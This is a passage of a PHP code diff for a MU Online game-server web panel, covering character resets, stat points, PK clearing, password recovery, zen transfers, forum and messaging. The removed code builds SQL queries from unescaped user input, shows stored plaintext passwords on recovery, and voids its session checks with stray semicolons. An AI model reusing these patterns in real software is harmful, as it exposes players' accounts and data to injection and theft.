{$wh_row[1]="0";} - - $result = mssql_query("SELECT Clevel,Reset,Money,LevelUpPoint,class FROM Character WHERE Name='$charactername' AND AccountID='$login'"); - $character_check = mssql_num_rows($result); - $row = mssql_fetch_row($result); - - if($row[4] >= 0 && $row[4] <= 15) {$reset_level = $mmw[reset_level_dw]; $reset_points = $mmw[reset_points_dw];} - if($row[4] >= 16 && $row[4] <= 31) {$reset_level = $mmw[reset_level_dk]; $reset_points = $mmw[reset_points_dk];} - if($row[4] >= 32 && $row[4] <= 47) {$reset_level = $mmw[reset_level_elf]; $reset_points = $mmw[reset_points_elf];} - if($row[4] >= 48 && $row[4] <= 63) {$reset_level = $mmw[reset_level_mg]; $reset_points = $mmw[reset_points_mg];} - if($row[4] >= 64 && $row[4] <= 79) {$reset_level = $mmw[reset_level_dl]; $reset_points = $mmw[reset_points_dl];} - if($row[4] >= 80 && $row[4] <= 95) {$reset_level = $mmw[reset_level_sum]; $reset_points = $mmw[reset_points_sum];} - - $reset_up = $row[1] + (1); - $char_money = $row[2]; - //CastleSiege Member % Price - if($mmw[mix_cs_memb_reset]=="yes") { - $guildm_results = mssql_query("Select G_name from GuildMember where name='$charactername'"); - $guildm = mssql_fetch_row($guildm_results); - if($guildm[0]!=NULL || $guildm[0]!=" "){ - $cs_query = mssql_query("SELECT owner_guild,money FROM MuCastle_DATA"); - $cs_row = mssql_fetch_row($cs_query); - if($cs_row[0]==$guildm[0]) { - if($mmw[max_zen_cs_reset]>$cs_row[1]){$edited_zen_cs = $cs_row[1];} else{$edited_zen_cs = $mmw[max_zen_cs_reset];} - $cs_memb_reset_zen = ( substr($mmw['reset_money'], 0, -6) * ceil( substr($edited_zen_cs, 0, -6) / $mmw[num_for_mix_cs_reset] ) ) / 100; - } - } - $edited_res_money = $mmw['reset_money'] - ($cs_memb_reset_zen * 1000000); - } - else {$edited_res_money = $mmw['reset_money'];} - //Reset * Zen - if($mmw[reset_system]=='yes') {$resetmoneysys = $edited_res_money * $reset_up;} - else {$resetmoneysys = $edited_res_money;} - - if($mmw[reset_limit_price] != '0' && $mmw[reset_limit_price] <= $resetmoneysys) {$resetmoneysys = $mmw[reset_limit_price];} - $wh_money = $wh_row[1] - $resetmoneysys; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - $resetpt = $row[3] + $reset_points; - $resetpt1 = $reset_points * $reset_up; - - //Check Inventory - if($mmw[check_inventory] == 'yes') { - $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$charactername'); print @vault;"); - $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12); - $test_invetory = free_hex($mmw[free_hex],12); - } - - - if(empty($charactername) || empty($login)){ $error=1; - echo $die_start . mmw_lang_left_blank . $die_end; - } - if($character_check <= 0) {$error=1; - echo $die_start . $charactername . mmw_lang_character_does_not_exist . $die_end; - } - if($online_check[0] != 0) {$error=1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if($char_money < 0) {$error=1; - echo $die_start . mmw_lang_for_reset_need .' '.zen_format($resetmoneysys)." Zen! $die_end"; - } - if($row[0] < $reset_level) {$error=1; - echo $die_start . mmw_lang_for_reset_need ." $reset_level ".mmw_lang_level."! $die_end"; - } - if($row[1] > $mmw['reset_limit_level']) {$error=1; - echo $die_start . mmw_lang_reset_limit_to . " $mmw[reset_limit_level]! $die_end"; - } - if($mmw[check_inventory] == 'yes' && $inventory!=$test_invetory) {$error=1; - echo $die_start . mmw_lang_take_off_set . $die_end; - } - - if($error != 1){ - if($mmw['level_up_mode']=='normal') {$LevelUpPoint = "$resetpt";} else {$LevelUpPoint = "$resetpt1";} - if($mmw['reset_mode']=='reset') {$reset_stats = "[strength]='25',[dexterity]='25',[vitality]='25',[energy]='25',";} - if($mmw['reset_command']=='yes' && $row[4] >= 64 && $row[4] <= 79) {$reset_command = "[Leadership]='25',";} - if($mmw['clean_inventory']=='yes') {$clean_inventory = "[inventory]=0x".free_hex($mmw[free_hex],108).",";} - if($mmw['clean_skills']=='yes') {$clean_skills = "[magiclist]=".free_hex(20,18).",";} - - $sql_reset_script = "UPDATE character Set $clean_inventory $clean_skills $reset_stats $reset_command [clevel]='1',[experience]='0',[money]='$char_money',[LevelUpPoint]='$LevelUpPoint',[reset]='$reset_up' WHERE name='$charactername'"; - mssql_query($sql_reset_script); - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - - echo $okey_start . mmw_lang_character_reseted . $okey_end; - writelog("resets","Character $charactername Has Been Reseted, Before Reset: $row[1](reset), After Reset: $reset_up(reset), For: $resetmoneysys Zen"); - } - } -} - - - - - -function add_stats($name) { - if(isset($_SESSION['pass']) && isset($_SESSION['user'])) { - require("config.php"); - require("includes/validate.class.php"); - $login = stripslashes($_SESSION['user']); - $strength = stripslashes($_POST['str']); - $dexterity = stripslashes($_POST['agi']); - $vitality = stripslashes($_POST['vit']); - $energy = stripslashes($_POST['ene']); - $command = stripslashes($_POST['com']); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check_row = mssql_fetch_row($online_check); - - $result = mssql_query("select vitality,strength,energy,dexterity,levelupPoint,leadership from Character WHERE Name='$name'"); - $row = mssql_fetch_row($result); - - $new_str = $row[1] + $strength; - $new_agi = $row[3] + $dexterity; - $new_vit = $row[0] + $vitality; - $new_eng = $row[2] + $energy; - $new_com = $row[5] + $command; - $points = $row[4] - $vitality - $strength - $energy - $dexterity - $command; - - $nmbr = "/^\d*$/"; - - if(!preg_match($nmbr,$strength) || !preg_match($nmbr,$dexterity) || !preg_match($nmbr,$vitality) || !preg_match($nmbr,$energy) || !preg_match($nmbr,$command)) {$error=1; - echo $die_start . mmw_lang_point_must_be_number . $die_end; - } - if ($online_check_row[0] != 0) {$error = 1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if ($points < 0) {$error = 1; - echo $die_start . mmw_lang_dont_have_point ." $row[4]! $die_end"; - } - if($new_str>$mmw[max_stats] || $new_agi>$mmw[max_stats] || $new_vit>$mmw[max_stats] || $new_eng>$mmw[max_stats] || $new_com>$mmw[max_stats]) {$error=1; - echo "$die_start $mmw[max_stats] " . mmw_lang_max_point . $die_end; - } - if($error != 1) { - mssql_query("UPDATE Character SET [Vitality]='$new_vit',[Strength]='$new_str',[Energy]='$new_eng',[Dexterity]='$new_agi',[leadership]='$new_com',[LevelUpPoint]='$points' WHERE Name='$name'"); - echo $okey_start . mmw_lang_character_stats_added . " $points $okey_end"; - writelog("stats","Character $name Has Been Updated Stats with the next -> Strength: $new_str|Agiltiy: $new_agi|Vitality: $new_vit|Energy: $new_eng|Command: $new_command, Levelup Points Left: $points"); - } - } -} - - - - - - - -function clear_pk($name) { - if(isset($_SESSION['pass']) && isset($_SESSION['user'])); { - require("config.php"); - $name = stripslashes($name); - $login = stripslashes($_SESSION['user']); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check_row = mssql_fetch_row($online_check); - - $sql_Pk_check = mssql_query("SELECT PkLevel,PkCount,Money FROM Character WHERE PkLevel > 3 and Name='$name'"); - $PkLevel_check = mssql_num_rows($sql_Pk_check); - $row_Pk = mssql_fetch_row($sql_Pk_check); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if($wh_row[1]=="" || $wh_row[1]==" ") {$wh_row[1]="0";} - - $char_money = $row_Pk[2]; - $wh_money = $wh_row[1] - $mmw['pkmoney']; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - - if (empty($name) || empty($login)) {$error = 1; - echo $die_start . mmw_lang_left_blank . $die_end; - } - if ($online_check_row[0] != 0) {$error = 1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if ($PkLevel_check <= 0) {$error = 1; - echo $die_start . mmw_lang_is_not_killer . $die_end; - } - if ($char_money < 0) {$error = 1; - echo $die_start . mmw_lang_clean_pk_need .' '.zen_format($mmw[pkmoney])." Zen! $die_end"; - } - - if($error != 1) { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("UPDATE Character SET [PkLevel]='3',[PkTime]='0',[Money]='$char_money' where Name='$name'"); - echo $okey_start . mmw_lang_character_cleared . $okey_end; - writelog("clearpk","Character $name Has Been Cleaned His Pk Status"); - } - } -} - - - - - - - -function changepassword() { - if ((isset($_SESSION['pass'])) && (isset($_SESSION['user']))); { - require("config.php"); - require("includes/validate.class.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $oldpwd = clean_var(stripslashes($_POST['oldpassword'])); - $newpwd = clean_var(stripslashes($_POST['newpassword'])); - $renewpwd = clean_var(stripslashes($_POST['renewpassword'])); - - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check_row = mssql_fetch_row($online_check); - - if($mmw['md5']==yes) {$sql_pw_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd = [dbo].[fn_md5]('$oldpwd','$login')");} - elseif($mmw['md5']==no) {$sql_pw_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$oldpwd'");} - $pw_check = mssql_num_rows($sql_pw_check); - - $elems[] = array('name'=>'oldpassword', 'label'=>$die_start. mmw_lang_invalid_current_password .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'newpassword', 'label'=>$die_start. mmw_lang_invalid_new_password .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'renewpassword', 'label'=>$die_start. mmw_lang_invalid_repassword .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4,'len_max'=>10, 'cont' =>'alpha', 'equal'=> array('newpassword')); - - $f = new FormValidator($elems); - $err = $f->validate($_POST); - - if ( $err === true ) { - $valid = $f->getValidElems(); - foreach ( $valid as $k => $v ) { - if ( $valid[$k][0][1] == false ) { - if ( empty($valid[$k][0][2]) ) { - echo $valid[$k][0][2]; - }else { - echo $valid[$k][0][2]; - } - } - } - } else { - - if ($online_check_row[0] != 0) {$error = 1; - echo $die_start . mmw_lang_account_is_online_must_be_logged_off . $die_end; - } - if ($oldpwd==$newpwd) {$error = 1; - echo $die_start . mmw_lang_old_and_new_password . $die_end; - } - if ($pw_check <= 0) {$error = 1; - echo $die_start . mmw_lang_invalid_current_password . $die_end; - } - if($error!=1){ - if($mmw['md5']==yes){mssql_query("UPDATE MEMB_INFO SET [memb__pwd]=[dbo].[fn_md5]('$newpwd','$login'),[memb__pwd2]='$newpwd' WHERE memb___id ='$login'");} - elseif($mmw['md5']==no){mssql_query("UPDATE MEMB_INFO SET [memb__pwd]='$newpwd',[memb__pwd2]='$newpwd' WHERE memb___id ='$login'");} - - $_SESSION['pass'] = $newpwd; - echo $okey_start . mmw_lang_password_changed . $okey_end; - } - } - } -} - - - - - - - -function lostpassword() { - require("config.php"); - require("includes/validate.class.php"); - $login = clean_var(stripslashes($_POST['username'])); - $quest = clean_var(stripslashes($_POST['quest'])); - $answer = clean_var(stripslashes($_POST['answer'])); - $email = clean_var(stripslashes($_POST['email'])); - - $sql_user_check = mssql_query("SELECT memb___id FROM MEMB_INFO WHERE memb___id='$login'"); - $sql_mail_check = mssql_query("SELECT memb___id,mail_addr FROM MEMB_INFO WHERE memb___id='$login' and mail_addr='$email'"); - $sql_qa_check = mssql_query("SELECT memb___id,fpas_ques,fpas_answ FROM MEMB_INFO WHERE memb___id='$login' and fpas_ques='$quest' and fpas_answ='$answer'"); - - if($mmw['md5'] == yes) {$sql_pw_get = mssql_query("SELECT memb__pwd2,fpas_ques FROM MEMB_INFO WHERE memb___id='$login'");} - elseif($mmw['md5'] == no) {$sql_pw_get = mssql_query("SELECT memb__pwd,fpas_ques FROM MEMB_INFO WHERE memb___id='$login'");} - - $user_check = mssql_num_rows($sql_user_check); - $mail_check = mssql_num_rows($sql_mail_check); - $qa_check = mssql_num_rows($sql_qa_check); - $pw_retrieval = mssql_fetch_row($sql_pw_get); - - $elems[] = array('name'=>'username', 'label'=>$die_start. mmw_lang_invalid_account .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'email', 'label'=>$die_start. mmw_lang_invalid_email .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>50, 'cont' =>'email'); - $elems[] = array('name'=>'quest', 'label'=>$die_start. mmw_lang_invalid_question .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - $elems[] = array('name'=>'answer', 'label'=>$die_start. mmw_lang_invalid_answer .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont' =>'alpha'); - - $f = new FormValidator($elems); - $err = $f->validate($_POST); - if ( $err === true ) { - $valid = $f->getValidElems(); - foreach ( $valid as $k => $v ) { - if ( $valid[$k][0][1] == false ) { - if ( empty($valid[$k][0][2]) ) { - echo $valid[$k][0][2]; - }else { - echo $valid[$k][0][2]; - } - } - } - } else { - - if($user_check <= 0 || $mail_check <= 0) {$error = 1; - echo $die_start . mmw_lang_account_or_email_address_is_incorrect . $die_end; - } - if($qa_check <= 0) {$error = 1; - echo $die_start . mmw_lang_question_or_answer_incorrect . $die_end; - } - if($error != 1) { - echo $okey_start . mmw_lang_your_password . " $pw_retrieval[0] $okey_end"; - } - } -} - - - - - -function profile($account) { - require("config.php"); - $fullname = clean_var(stripslashes($_POST['fullname'])); - $age = clean_var(stripslashes($_POST['age'])); - $country = clean_var(stripslashes($_POST['country'])); - $avatar = clean_var(stripslashes($_POST['avatar'])); - $gender = clean_var(stripslashes($_POST['gender'])); - $hide_profile = clean_var(stripslashes($_POST['hide_profile'])); - $y = clean_var(stripslashes($_POST['y'])); - $msn = clean_var(stripslashes($_POST['msn'])); - $icq = clean_var(stripslashes($_POST['icq'])); - $skype = clean_var(stripslashes($_POST['skype'])); - - mssql_query("Update memb_info set [memb_name]='$fullname',[country]='$country',[gender]='$gender',[age]='$age',[avatar]='$avatar',[hide_profile]='$hide_profile',[y]='$y',[msn]='$msn',[icq]='$icq',[skype]='$skype' where memb___id='$account'"); - echo $okey_start . mmw_lang_profile_edited . $okey_end; - writelog("profile","Acc $account Has Been Change: [memb_name]='$fullname',[country]='$country',[gender]='$gender',[age]='$age',[avatar]='$avatar',[hide_profile]='$hide_profile',[y]='$y',[msn]='$msn',[icq]='$icq',[skype]='$skype'"); -} - - - - - -function move($name) { - include("includes/move.php"); - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $map = clean_var(stripslashes($_POST['map'])); - $name = stripslashes($name); - $mapnumber = $move[$map][0]; - $x = $move[$map][1]; - $y = $move[$map][2]; - - $select_zen_sql = mssql_query("Select money from character where name='$name'"); - $select_zen = mssql_fetch_row($select_zen_sql); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} - - $char_money = $select_zen[0]; - $wh_money = $wh_row[1] - $mmw['move_zen']; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - - if(empty($name)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($char_money < 0) { - echo $die_start . mmw_lang_move_need .' '.zen_format($mmw[move_zen])." Zen! $die_end"; - } - else { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("UPDATE character SET [mapnumber]='$mapnumber',[mapposx]='$x',[mapposy]='$y',[money]='$char_money' where name='$name'"); - echo $okey_start . mmw_lang_character_moved . $okey_end; - writelog("move","Char $name Has Been Moved To: $mapnumber, $x-$y|Char: $char_money Zen|Acc: $wh_money Zen"); - } -} - - - - - - -function change_class($name) { - require("config.php"); - include("includes/change_class.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $change_class = clean_var(stripslashes($_POST['class'])); - $name = stripslashes($name); - $class = $class_list[$change_class][0]; - $price = $class_list[$change_class][1]; - - $result = mssql_query("declare @vault varbinary(1728); set @vault=(SELECT Inventory FROM Character WHERE Name='$name'); print @vault;"); - $inventory = substr(mssql_get_last_message(),2,$mmw[free_hex] * 12); - $test_invetory = free_hex($mmw[free_hex],12); - - $select_zen_sql = mssql_query("Select money from character where name='$name'"); - $select_zen = mssql_fetch_row($select_zen_sql); - - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if(empty($wh_row[1]) || $wh_row[1]==" ") {$wh_row[1]="0";} - - $char_money = $select_zen[0]; - $wh_money = $wh_row[1] - $price; - if($wh_money < 0) {$char_money = $char_money + $wh_money; $wh_money = 0;} - - if(empty($name) || $change_class=='class') { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($inventory != $test_invetory) { - echo $die_start . mmw_lang_take_off_set . $die_end; - } - elseif($char_money < 0) { - echo $die_start . mmw_lang_change_class_need .' '.zen_format($price)." Zen! $die_end"; - } - else { - mssql_query("UPDATE warehouse SET [extMoney]='$wh_money' WHERE accountid='$login'"); - mssql_query("UPDATE character SET [class]='$class',[money]='$char_money',[MagicList]=0xFF,[Quest]=0xFF WHERE name='$name'"); - echo $okey_start . mmw_lang_character_changed . $okey_end; - writelog("change_class","Char $name Has Been Changed Class To: $class|Char: $char_money Zen|Acc: $wh_money Zen"); + $castle_siege_row[1]) + ? ceil($castle_siege_row[1] * $mmw['cs_memb_reset_max_percent'] / $mmw['cs_memb_reset_must_have_zen']) + : $mmw['cs_memb_reset_max_percent']; + + $resetPrice -= ceil($resetPrice * $castleSiegeResetPercent / 100); + } } -} - - - - - -function warehouse($from,$to,$zen) { - require("config.php"); - require("includes/validate.class.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $from = stripslashes($from); - $to = stripslashes($to); - $zen = stripslashes($zen); - - // From - if($from=="ewh" || $from=="wh0") { - $result = mssql_query("SELECT AccountID,Money,extMoney FROM warehouse WHERE accountid='$login'"); - $row_from = mssql_fetch_row($result); - if($from=="wh0") { - if($row_from[1]==""){$from_wh="0";} else{$from_wh=$row_from[1];} - $from_query[0]="Update warehouse set [Money]='"; $from_query[1]="' where AccountID='$login'"; + $warehouseMoney -= $resetPrice; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; + } + + if ($totalMoney - $resetPrice < 0) { + echo $die_start . mmw_lang_for_reset_need . ' ' . zen_format($resetPrice) . ' Zen!' . $die_end; + } elseif ($characterInfo[3] < $resetLevel) { + echo $die_start . mmw_lang_for_reset_need . ' '.$resetLevel.' ' . mmw_lang_level . '!' . $die_end; + } elseif ($resetUp >= $mmw['reset_limit_level']) { + echo $die_start . mmw_lang_reset_limit_to . ' ' . $mmw['reset_limit_level'] . '!' . $die_end; + } elseif ($mmw['reset_check_inventory'] && $characterInventory !== free_hex($mmw['item_byte_size'], 12)) { + echo $die_start . mmw_lang_take_off_set . $die_end; + } else { + $levelUpPoint = ($mmw['reset_points_mode']) + ? $resetPoints * $resetUp + : $resetPoints + $characterInfo[2]; + + $additionalUpdates = ''; + if ($mmw['reset_points_drop']) { + $additionalUpdates .= ",[strength]=25,[dexterity]=25,[vitality]=25,[energy]=25"; } - if($from=="ewh") { - if($row_from[2]==""){$from_wh="0";} else{$from_wh=$row_from[2];} - $from_query[0]="Update warehouse set [extMoney]='"; $from_query[1]="' where AccountID='$login'"; + if ($mmw['reset_command_drop'] && $simpleClass === 'dl') { + $additionalUpdates .= ",[Leadership]=25"; } - } - elseif(substr($from,0,2)=="ch") { - $result = mssql_query("SELECT AccountID,Money,Name FROM Character WHERE accountid='$login' AND Name='".substr($from,2)."'"); - $row_from = mssql_fetch_row($result); - if($row_from[1]=="") {$from_wh="0";} else{$from_wh=$row_from[1];} - $from_query[0]="Update Character set [Money]='"; $from_query[1]="' where AccountID='$login' AND Name='$row_from[2]'"; - } - - // To - if($to=="ewh" || $to=="wh0") { - $result = mssql_query("SELECT AccountID,Money,extMoney FROM warehouse WHERE accountid='$login'"); - $row_to = mssql_fetch_row($result); - if($to=="wh0") { - if($row_to[1]=="") {$to_wh="0";} else{$to_wh=$row_to[1];} - $to_query[0]="Update warehouse set [Money]='"; $to_query[1]="' where AccountID='$login'"; + if ($mmw['reset_clean_inventory']) { + $additionalUpdates .= ",[inventory]=0x" . free_hex($mmw['item_byte_size'], 108); } - if($to=="ewh") { - if($row_to[2]=="") {$to_wh="0";} else{$to_wh=$row_to[2];} - $to_query[0]="Update warehouse set [extMoney]='"; $to_query[1]="' where AccountID='$login'"; + if ($mmw['reset_clean_skills']) { + $additionalUpdates .= ",[magiclist]=0x" . free_hex(20, 18); } - } - elseif(substr($to,0,2)=="ch") { - $result = mssql_query("SELECT AccountID,Money,Name FROM character WHERE accountid='$login' AND Name='".substr($to,2)."'"); - $row_to = mssql_fetch_row($result); - if($row_to[1]=="") {$to_wh="0";} else{$to_wh=$row_to[1];} - $to_query[0]="Update Character set [Money]='"; $to_query[1]="' where AccountID='$login' AND Name='$row_to[2]'"; - } - - $from_end = $from_wh - $zen; $to_end = $to_wh + $zen; - - if(!isset($from_wh) || !isset($to_wh) || !isset($zen)){$error=1; echo $die_start . mmw_lang_left_blank . $die_end;} - elseif(!preg_match("/^\d*$/", $zen)){$error=1; echo $die_start . mmw_lang_zen_must_be_number . $die_end;} - elseif($from == $to){$error=1; echo $die_start . mmw_lang_zen_cant_move . $die_end;} - elseif($from_end < 0){$error=1; echo $die_start . mmw_lang_not_Zen_to_move . $die_end;} - elseif($to!="ewh" && $to_end > $mmw[max_char_wh_zen]){$error=1; echo $die_start . mmw_lang_zen_more_max . ' '.zen_format($mmw[max_char_wh_zen]).' Zen!' . $die_end;} - - if($error!=1){ - mssql_query($from_query[0].$from_end.$from_query[1]); - mssql_query($to_query[0].$to_end.$to_query[1]); - echo $okey_start . zen_format($zen).' '. mmw_lang_zen_moved . $okey_end; - writelog("money","Acc $login Has Been from: $from_wh $from|to: $to_wh $to|how many: $zen|from end: $from_end|to end: $to_end"); - } -} - - - - - - - -function comment_send($c_id_blog,$c_id_code) { - require("config.php"); - $c_char = clean_var(stripslashes($_SESSION['char_set'])); - $result = mssql_query("SELECT TOP 1 c_date FROM MMW_comment WHERE c_char='$c_char' ORDER BY c_date DESC"); - $losttime = mssql_fetch_row($result); - $timeout = $losttime[0] + $mmw[comment_time_out]; - $date = time(); - $needtime = $timeout - $date; - - if($timeout>$date) {echo $die_start . mmw_lang_cant_sent_comment_need_wait . " $needtime sec. $die_end";} - elseif(empty($c_char)) {echo $die_start . mmw_lang_cant_add_no_char . $die_end;} - elseif(!empty($_POST['c_message'])) { - $bug_send = bugsend(stripslashes($_POST['c_message'])); - mssql_query("INSERT INTO MMW_comment(c_id_blog,c_id_code,c_char,c_text,c_date) VALUES ('$c_id_blog','$c_id_code','$c_char','$bug_send','$date')"); - echo $okey_start . mmw_lang_comment_sent . $okey_end; - } -} - - - - - - - -function comment_delete($c_id) { - require("config.php"); - $c_id = clean_var(stripslashes($c_id)); - $char_set = stripslashes($_SESSION['char_set']); - $result = mssql_query("SELECT c_char FROM MMW_comment WHERE c_id='$c_id'"); - $row = mssql_fetch_row($result); - - if(empty($c_id)) { - echo "$die_start Error: Some Fields Were Left Blank! $die_end"; - } - elseif($row[0]==$char_set || $mmw[status_rules][$_SESSION[mmw_status]][comment_delete]==1) { - mssql_query("Delete from MMW_comment where c_id='$c_id'"); - echo $okey_start . mmw_lang_comment_deleted . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - -function forum_send($title,$text,$catalog) { - require("config.php"); - $char_set = stripslashes($_SESSION['char_set']); - $date = time(); - - if(empty($title) || empty($text) || empty($catalog)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif(!empty($title) && !empty($text) && !empty($catalog)) { - $text = bugsend(stripslashes($text)); - $title = bugsend(stripslashes($title)); - $catalog = bugsend(stripslashes($catalog)); - mssql_query("INSERT INTO MMW_forum ([f_id],[f_char],[f_title],[f_text],[f_created],[f_catalog],[f_date],[f_lastchar]) VALUES ('$mmw[rand_id]','$char_set','$title','$text','$date','$catalog','$date','$char_set')"); - echo $okey_start . mmw_lang_topic_sent . $okey_end; - } - else { - echo "$die_start Total ErroR! $die_end"; - } - } - - - - - - - -function forum_delete($f_id) { - require("config.php"); - $f_id = clean_var(stripslashes($f_id)); - $char_set = stripslashes($_SESSION['char_set']); - $result = mssql_query("SELECT f_char FROM MMW_forum WHERE f_id='$f_id'"); - $row = mssql_fetch_row($result); - - if(empty($f_id)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($row[0]==$char_set || $mmw[status_rules][$_SESSION[mmw_status]][forum_delete]==1) { - mssql_query("Delete from MMW_forum where f_id='$f_id'"); - mssql_query("Delete from MMW_comment where c_id_code='$f_id'"); - echo $okey_start . mmw_lang_topic_deleted . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - -function forum_status($f_id,$f_status) { - require("config.php"); - $f_id = clean_var(stripslashes($f_id)); - $f_status = clean_var(stripslashes($f_status)); - - if(empty($f_id) || $f_status=='') { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($mmw[status_rules][$_SESSION[mmw_status]][forum_status]==1) { - mssql_query("UPDATE MMW_forum SET f_status='$f_status' where f_id='$f_id'"); - echo $okey_start . mmw_lang_topic_status . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - -function request($login) { - require("config.php"); - if(empty($_POST['subject']) || empty($_POST['msg'])) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - else { - $title = bugsend(stripslashes($_POST['subject'])); - $msg = str_replace("[br]", "
", bugsend(stripslashes($_POST['msg'])) ); - $ip = $_SERVER['REMOTE_ADDR']; - $date = date('d.m.Y H:i:s'); - $text = "Acc: $login, New Request Title: $title
$msg
All Those On $date By $ip
\n"; - $fp = fopen("admin/request.htm","a"); - fputs($fp, $text); - fclose($fp); - echo $okey_start . mmw_lang_request_sent . $okey_end; - } -} - - - - - - -function send_msg() { - require("config.php"); - $char_set = stripslashes($_SESSION['char_set']); - $msg_to = stripslashes($_POST["new_message"]); - $msg_subject = utf_to_win(stripslashes($_POST["subject"])); - $msg_text = utf_to_win(stripslashes($_POST["msg"])); - $date = date("m/d/y H:i:s"); - - $msg_to_sql = mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$msg_to'"); - $msg_to_row = mssql_fetch_row($msg_to_sql); - - $char_class_sql = mssql_query("SELECT class FROM Character WHERE Name='$char_set'"); - $char_class_row = mssql_fetch_row($char_class_sql); - $char_photo = char_class($char_class_row[0],photo); - if(empty($char_set) || empty($msg_subject) || empty($msg_to)) { - echo $die_start . mmw_lang_left_blank . $die_end; - } - elseif($msg_to_row[0]!='' && $msg_to_row[0]!=' ') { - $msg_id = $msg_to_row[1] + 1; - $query = "INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','$char_set','$date','$msg_subject','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',$char_photo)"; - if(mssql_query($query)) { - $mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'"); - $mail_total_num = mssql_num_rows($mail_total_sql); - mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$msg_to'"); - echo $okey_start . mmw_lang_message_sent ." $msg_to! $okey_end"; - } - else { - echo "$die_start ErroR Query $msg_text! $die_end"; + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[clevel]=1,[experience]=0,[LevelUpPoint]={$levelUpPoint},{$mmw['reset_column']}={$resetUp} {$additionalUpdates} WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_reseted . $okey_end; + writelog('reset', 'Character '.$characterName.' Has Been Reseted, Before Reset: '.$characterInfo[4].'(reset), After Reset: '.$resetUp.'(reset), For: '.$resetPrice.' Zen'); } } - else { - echo "$die_start It does not work in an old version! $die_end"; - } -} - - - + static function add_stats($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + + $addPoints = array( + 'strength' => intval($_POST['str']), + 'dexterity' => intval($_POST['agi']), + 'vitality' => intval($_POST['vit']), + 'energy' => intval($_POST['ene']), + 'leadership' => intval($_POST['com']) + ); + + $characterResult = mssql_query("SELECT levelupPoint,strength,dexterity,vitality,energy,leadership FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + + $newPoints = array( + 'strength' => $characterInfo[1] + $addPoints['strength'], + 'dexterity' => $characterInfo[2] + $addPoints['dexterity'], + 'vitality' => $characterInfo[3] + $addPoints['vitality'], + 'energy' => $characterInfo[4] + $addPoints['energy'], + 'leadership' => $characterInfo[5] + $addPoints['leadership'] + ); + $leftPoints = $characterInfo[0] - $addPoints['strength'] - $addPoints['dexterity'] - $addPoints['vitality'] - $addPoints['energy'] - $addPoints['leadership']; - - - -function 